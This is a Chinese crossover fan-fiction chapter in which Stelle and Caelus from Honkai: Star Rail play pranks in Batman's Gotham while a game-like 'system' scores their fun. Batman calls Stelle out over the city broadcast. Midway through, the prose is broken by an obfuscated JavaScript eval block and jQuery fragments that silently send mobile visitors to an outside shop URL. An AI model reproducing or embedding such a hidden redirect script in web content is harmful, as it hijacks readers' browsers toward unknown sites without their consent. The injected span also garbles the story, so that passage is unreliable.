哥谭的夜空从来不缺星星,只是那些星星都被霓虹灯和探照灯挤到了边缘,像是一群被抢了C位的过气偶像,委屈巴巴地缩在天边。
顺便还要被阿卡姆疯人院的探照灯扫射,活像被聚光灯追着跑的十八线小明星。
废弃摩天轮的最高处,星盘腿坐在锈迹斑斑的座舱顶上,狐狸面具斜斜地挂在脸侧,露出半张被月光洗得发白的脸。
为了完成每日的KPI,依旧是马甲出场。
她的木屐已经脱掉了,赤着的脚踩在冰凉的金属上,铃铛被随手挂在旁边的支架上,偶尔被夜风一吹,发出细碎的、像叹息一样的声响。
如果这场景被阿哈看到,那位欢愉星神大概会一边鼓掌一边把半辆列车炸成烟花,然后点评:“这emo浓度,够我泡三壶虚卒咖啡了,但欢愉行者不需要咖啡,欢愉行者需要乐子!”
她面前悬浮着三块全息屏幕,一块显示着哥谭全城的直播数据,一块是系统界面,还有一块,被她最小化到角落里——是韦恩庄园的实时监控。
星戳了戳那块最小化的屏幕“"系统,我表哥在干嘛?”
系统(阿哈语调,但比阿哈多了点人工智障的欠揍感):“~正在经历'空调太冷'的夏天呢~顺便一提,他刚把桑博的大衣扣子数了一遍,三百七十二颗,比贝洛伯格的雪还无聊~”
星噗嗤一声笑了,木屐上的铃铛跟着晃了晃。她伸了个懒腰,浴衣的袖子滑到手肘,露出一截纤细的手臂。
手臂上有一道浅浅的擦伤,是下午和小丑"交流"时留下的纪念品。
“欢愉纯度超标的两扩音器对着放,”她自言自语,指尖在擦伤周围画了个圈。
:炸出来的烟花…确实好看。但下次能不能换个不溅射的?我这件浴衣是花火大人亲自设计的限定款,全球仅此一件。好吧,其实是系统商城用欢愉点换的,但也很贵!”
但她没笑。
不是因为emo,是因为不爽。
系统突然弹出一条提示:“☆~检测到宿主情绪波动:-15%。建议立即进行欢愉补给☆~”
星翻了个白眼:“你们欢愉命途的KPI考核这么严格的吗?连不爽都要管?”
“不是不爽,是'认知偏移前兆'。”
系统的声音罕见地正经了一秒,像是阿哈突然把面具摘下来露出了螺丝咕姆的脸,“花火扮演度:60%。宿主正在…”
“正在什么?”
“正在'被看穿'的边缘。”
星愣了一下,手指悬在半空,忘了收回来。
被看穿。
不是“被看到”——她不在乎被看到,她在乎的是被看穿。被看穿意味着把戏失效,意味着乐子没了,意味着…
KPI完不成。星际街溜子,有一天也要担心这种事情。
不得不想念一下星期日的七休理念
“这不要吧!!”星差点从摩天轮顶上滚下去,“被看穿的话,我的恶作剧就要失效了!这什么恐怖故事!这比阿哈炸列车还恐怖!”
她可以在匹诺康尼的梦境里炸掉一整座酒店,可以在贝洛伯格的雪原上把桑博的恶作剧箱塞满整个行政区,可以对着全银河直播说“各位市民请注意”!!
但如果被看穿,这一切就变成了表演,而不是乐子。
表演是工作,乐子是生活。她可不想把生活变成工作。
……
哥谭警局的广播系统,在凌晨两点十七分,被黑了。
不是普通的黑客入侵。整个哥谭的广播塔、车载电台、手机推送、甚至便利店门口的扩音器,同时响起了一个声音——
低沉。沙哑。
像是从地底深处磨出来的砂纸,又像是某位黑暗骑士在阿卡姆的通风管道里练了三十年的气泡音。
“哥谭市民。”
星猛地坐直了,狐狸面具差点从脸上滑落。
她手忙脚乱地抓住面具,全息屏幕上的数据疯狂跳动,观看人数在零点几秒内突破了哥谭人口总数,弹幕像雪崩一样滚过屏幕。
“??????这是我们可爱的小蝙蝠的声音吗?”
“这声音…”
“蝙蝠侠?!!”
“蝙蝠侠开广播了?!!”
“哥谭深夜电台新节目《黑暗骑士のASMR》?”
“前排兜售瓜子饮料爆米花,以及防蝙蝠镖头盔!”
“我是蝙蝠侠。”
声音顿了顿,像是在斟酌措辞。
星能想象出那个画面,黑色的披风在夜风里猎猎作响,面具下的嘴唇抿成一条锋利的线,喉结滚动了一下,才挤出下一句话。
“有人说,哥谭需要笑声。”
星的心跳漏了一拍。
——这句话,是她在三天前的直播里说的。
“有人说,蝙蝠侠不会笑。”
弹幕炸了。
“他说'有人说'!!”
“蝙蝠侠在说绕口令?!”
“这什么新型蝙蝠侠ASMR??”
“我赌五毛,他下一句要说'但我偏要笑'!”
“楼上,我赌一块,他说'但我偏不笑'!”
“但真正的蝙蝠侠——”声音更低了,像是从牙缝里挤出来的,“不会让任何人定义哥谭的笑声。”
星的手指攥紧了面具边缘。
定义。
这个词像一根针,精准地刺进了欢愉行者的软肋。花火的把戏从来不是"制造笑声",而是制造混乱。
让所有人都不知道什么是真的,什么是假的,什么是表演,什么是真实。
但蝙蝠侠说“不会让任何人定义”。
这意味着…他看穿了。
“花火小姐。”
星的手指僵住了。
“您的面具…”广播里的声音继续,像一条黑色的河流,缓慢地、不可阻挡地漫过哥谭的每一个角落,“戴反了。”
星:"???"不是,我勤勤恳恳工作,不是让你来批评的!!
戴反了,这是对一个专业马甲精的羞辱!
“检测到意外展开!蝙蝠侠'反向攻略'启动!欢愉浓度异常波动!当前纯度:87.3%且持续上升~”
“闭嘴!”
星低声说,这难道光彩吗?“什么反向攻略!这是挑衅!这是战书!”
“宿主,他在……”
“我听到了!”
广播里的声音还在继续,但语气变了,不再是斟酌,而是笃定,像是一位终于找到对手棋路的棋手。
上一次,对手还是对小丑的时候。不过,这位女士既没有小丑的恶劣,也没有哥谭反派的狠厉。
“明天,冰山餐厅。”
“没有直播,没有观众,没有…面貝”声音顿了顿,像是一位黑暗骑士在面具下露出了微笑。
“让我看看,面具下面的…是什么在笑。”
星:?????
弹幕疯了:
“什么什么什么?!”
“蝙蝠侠要约架?!”
“冰山餐厅?!企鹅人的地盘?!兄弟们,你们说我们老板还能活着回来吗?”
“没有面具?!花火要掉马?!”
“这是什么新型攻略路线?!”
“蝙蝠侠,哥谭第一反套路大师,实锤了。”
星关掉直播,把面具摘下来,盯着看了三秒。
“系统。”
“在~”依旧是贱兮兮的,但索性已经习惯了。
“他什么意思?”
系统的声音罕见地没有了阿哈的语调“他看穿了'花火'是面具,但他不在乎面具下面是谁。他只想看看…您敢不敢摘下面具跟他玩。”
星把面具扣回脸上,动作太猛,木屐上的铃铛叮铃铃响成一片。
“哈。”
她笑了,不是花火那种轻快的、带着~☆的笑,是星的那种、从星核深处挤出来的、有点疯又有点兴奋的笑,“有意思。”
“太有意思了。”
“比我炸掉匹诺康尼的酒店还有意思。”
……
韦恩庄园的客厅里,达米安第一个从沙发上弹起来,动作快得像只被踩了尾巴的猫。
“父亲在广播里说话了?!”
他的声音尖得能戳穿蝙蝠洞洞顶!
迪克手里的咖啡杯晃了晃,棕色的液体在杯壁上画了一道弧线:“而且说了很长一段话…根据我作为第一任罗宾的统计,蝙蝠侠本次广播的语句数量,超过了他过去三年公开讲话的总和。上次他说这么多话,还是在我…呃,在我们…那个…”
语气漂浮,感觉已经踩到了云端气。
“在你'死'的时候。”杰森靠在壁炉边,手里把玩着一把枪,嘴角抽搐了一下,“别装了,大哥,我们都知道你假死过。蝙蝠侠当时说了整整一句话:'迪克不会死。'——然后他就去揍小丑了,揍了三个小时。”
提姆推了推眼镜,镜片反射着电视屏幕的蓝光:“根据数据分析,蝙蝠侠本次广播的情感波动指数…等等,这数据有问题。他的心率在提到'面具'时上升了15%,但提到'冰山餐厅'时下降了8%。这相当于…”
“相当于什么?”
提姆推了推再次滑到鼻尖的眼镜“相当于…他在兴奋。蝙蝠侠在期待明天的会面。这在他的行为模式里,属于…极低概率事件。”
客厅里安静了三秒。
达米安:“…恶心。”
杰森:“…更恶心。”
迪克:“…但我有点期待是怎么回事?”
布鲁斯·韦恩坐在沙发正中央,小熊睡衣的扣子扣到了最上面一颗。
他的表情如果那能被称为表情的话,像是一块被冻住的石头。
“我从不开玩笑。”他说。
戈登的声音从电视屏幕里传出来,带着一种梦游般的恍惚:“你在开玩笑?“
布鲁斯:“…”
阿尔弗雷德端着托盘从厨房走出来,银质咖啡壶在灯光下闪着柔和的光。他走到布鲁斯身边,弯腰,把一杯已经凉透的咖啡放在茶几上。
“少爷,您的咖啡…又凉了。”
布鲁斯:“…”
达米安:“父亲!您是不是!”
“达米安。”布鲁斯的声音像是从牙缝里磨出来的,“去睡觉。”
“但现在才……“
“去。睡。觉。”布鲁斯深吸一口气,无奈的说道。
达米安哼了一声,转身往楼上走,脚步踩得楼梯咚咚响。
走到一半,他突然停下来,头也不回地说::您刚才的声音…比小丑的笑话还可怕。至少小丑的笑话还有逻辑‘为什么蝙蝠侠不笑?因为他把笑容都留给了哥谭!'——而您,父亲,您刚才在广播里说的那段话,连逻辑都没有。”
布鲁斯扶额。
迪克憋笑憋得肩膀发抖,提姆的镜片滑到了鼻尖上也没去推,杰森的枪差点从手里掉下去。
穹坐在角落的单人沙发里,大衣裹在身上,像一团灰色的阴影。他的眼睛盯着电视屏幕,嘴唇抿成一条线。
之前和卡珊德拉达成默契,她帮自己隐瞒,虽然这可能最终还是会传到蝙蝠侠耳边,但还是感谢这位好心人啊!
不然,别说开拓值,连自己一出现就会被缉拿归案。
“☆~检测到花火(星)情感波动:剧烈。但…不是恐惧。是兴奋。~☆”
“兴奋?”穹挑眉。
“对。蝙蝠侠看穿了她的面具,但她没有跑。她在…期待。”
穹的手指攥紧了沙发扶手,指节泛白。
“系统,我们的任务…只是制造欢愉,对吗?”他的声音有点哑,不知是兴奋还是激动。
“但蝙蝠侠…”
“他在制造更大的欢愉。”系统的声音里带着一种奇怪的、近乎欣赏的语调,“他看穿了花火的把戏,但他没有拆穿。他选择了…对弈。这比任何恶作剧都有意思。“
穹抬起头,看向窗外。哥谭的夜空里,废弃摩天轮的方向有一盏灯还亮着,像一只独眼,在黑暗里眨啊眨。
嘴角弯起一个弧度,“有意思起来了!比我预想的…更有意思。”
阿尔弗雷德端着一杯热牛奶走进客厅,在穹身边停下。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17708200|208354||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“先生,您的牛奶。”
穹睁开眼,接过杯子,指尖碰到杯壁的温度,愣了一下。
“您还没睡?还有,我不是小孩子啦!”穹看着牛奶,不情不愿的说道。
“少爷让我给'那个让少爷表情变化的小姐'准备一份礼物。”阿尔弗雷德的声音平稳得像一潭死水,“以及…给'让少爷表情变化的先生'。”
穹的手抖了一下,牛奶在杯子里晃出一圈涟漪。
“我?可是我不知道呀!”在装傻充愣中。
阿尔弗雷德的嘴角弯起一个几不可察的弧度,:您也在让他变化。”
“变化?”
“从'不笑',到'不知道自己笑了'。”阿尔弗雷德转身往厨房走,脚步轻得像一片羽毛。
他停在厨房门口,回头。
“'期待戏'。“
穹低头看着手里的牛奶,热气袅袅上升,在月光里画出一条白色的河。
“系统。”
“在~”
“蝙蝠侠…他看穿了星。”
“对的呢☆~”
“那他…看穿我没有?”
系统沉默了三秒。
“桑博扮演度:70%。”它说,声音里带着一种奇怪的、近乎欣慰的语调,“他看穿了'桑博'是面具。但'穹'…还在布局。”
穹把牛奶举到嘴边,喝了一口。甜的。阿尔弗雷德加了蜂蜜。
“布局什么?”
“等待…”系统的声音轻得像一声叹息,“一场更大的戏。”毕竟开拓的命途并非一帆风顺,有时隐藏的暗处也是一种好选择。
……
第二天,星没有穿浴衣,没有戴狐狸面具,没有开直播。
她穿了一件从哥谭旧货市场淘来的连帽卫衣,牛仔裤,运动鞋——星的标配,不是花火。
她走在哥谭的街头,像一滴水融进了一片海。
哥谭的白天和晚上是两个城市。晚上是蝙蝠侠的,白天是…所有人的。
街头小贩在叫卖,流浪猫在垃圾桶旁边打架,某个角落里有孩子在玩跳房子,用粉笔画在水泥地上的、最原始的跳房子。
星路过一个巷口,听到里面传来争吵声。
“把钱交出来,小崽子。”
“我没有…”
“没有?那这只手就别要了。”
星停下脚步,从卫衣口袋里摸出一颗蝴蝶结炸弹,系统商城出品,欢愉点兑换,威力刚好够炸飞一个垃圾桶,不会伤人。
她把它扔进了巷口。
“轰——”十分应景的声音响起。
烟雾弥漫。两个小混混被炸得灰头土脸,骂骂咧咧地跑了出来。
正好撞上巡逻的警车,戈登局长的座驾,车窗摇下来,露出局长疲惫的脸。
“又是你们两个。”戈登叹了口气,哥谭说大不大,说小不小,但是连续遇到这两个也是缘分,“上车。”
星已经消失在街角,连帽卫衣的帽子拉得很低,只露出一个下巴。
巷子里,一个流浪儿童从垃圾桶后面探出头,手里攥着一枚皱巴巴的硬币。
“…谢谢?”他对着空气说。
星在三个街区外的热狗摊前停下,买了一根热狗,加双倍芥末。
当然,这不是杰森经营的。人家黑老大正在进行激情四射的□□血拼!
“系统,刚才那个炸弹,算欢愉点吗?”
这是想浑水摸鱼,早点摆脱任务。
“算。但不多。因为…”系统顿了顿,“☆~您没有直播,没有观众,没有'花火'的身份。这只是…日常。也没有践行开拓事务!☆~”
“日常不能算欢愉?”星想再试探一下行业规则,毕竟聪明人往往能在规则之中找到合适的漏洞。
再说“规则都是用来打破的!”
“能。但欢愉行者追求的是…更大的乐子。”
星咬了一口热狗,芥末呛得她眼泪都出来了。
“但我觉得…”她嚼着热狗,声音含糊,“刚才那个小孩的表情,比直播间十万弹幕都有意思。”
系统沉默了三秒。
“~☆…检测到认知偏移。但偏移方向…未知。”这就是机械头制作出来的系统吗?果然和祂差不多,偏离位置就一定会出bug☆~!
星没理它,继续往前走。
她路过一个公园,看到一群孩子在踢足球。球飞出了场地,滚到她脚边。
“姐姐,能帮忙踢回来吗?”小孩子们可怜兮兮的望着星。
星弯腰,捡起球,然后——
一脚踢飞。
球划过一道完美的弧线,越过球门,越过围栏,越过哥谭的天际线,最终落在…某个□□交易现场的屋顶上。
“…”
“…”
“姐姐,那是我们唯一的球…”
对不起,那个球看起来太好踢了。
星从口袋里摸出一把欢愉点兑换的糖果炸弹,外形像彩虹糖,爆炸后会喷出彩色纸屑和更多糖果。
“赔你们的。记得,十秒后爆炸。跑快点。”她把糖果炸弹塞给最大的孩子,并嘱咐几句。
孩子们尖叫着跑开,笑声在公园里回荡。
星站在原地,看着他们跑远的背影,嘴角弯起一个弧度。
“系统,这算欢愉点吗?”
“…算。但宿主,您刚才那个球…”系统欲言又止,止言又欲。
“怎么了?” 星不在意的问道。毕竟只是个球,再坏又能差到哪里去?
“落在了企鹅人的交易现场。现在,冰山餐厅的屋顶上,正在下一场'足球雨'。”
星:“…”好吧,麻烦了!
“以及,蝙蝠侠正在往那边赶。”
星:“…”不是,怎么还给我加了?
“还有,您的'明天冰山餐厅见'的约定…”
星:“…”奖池还在叠加。
“可能要提前了。”
星把最后一口热狗塞进嘴里,拍了拍手。
“哈。太有意思了。”至于这句话中几重麻烦又是几重灾难,只有自己知道了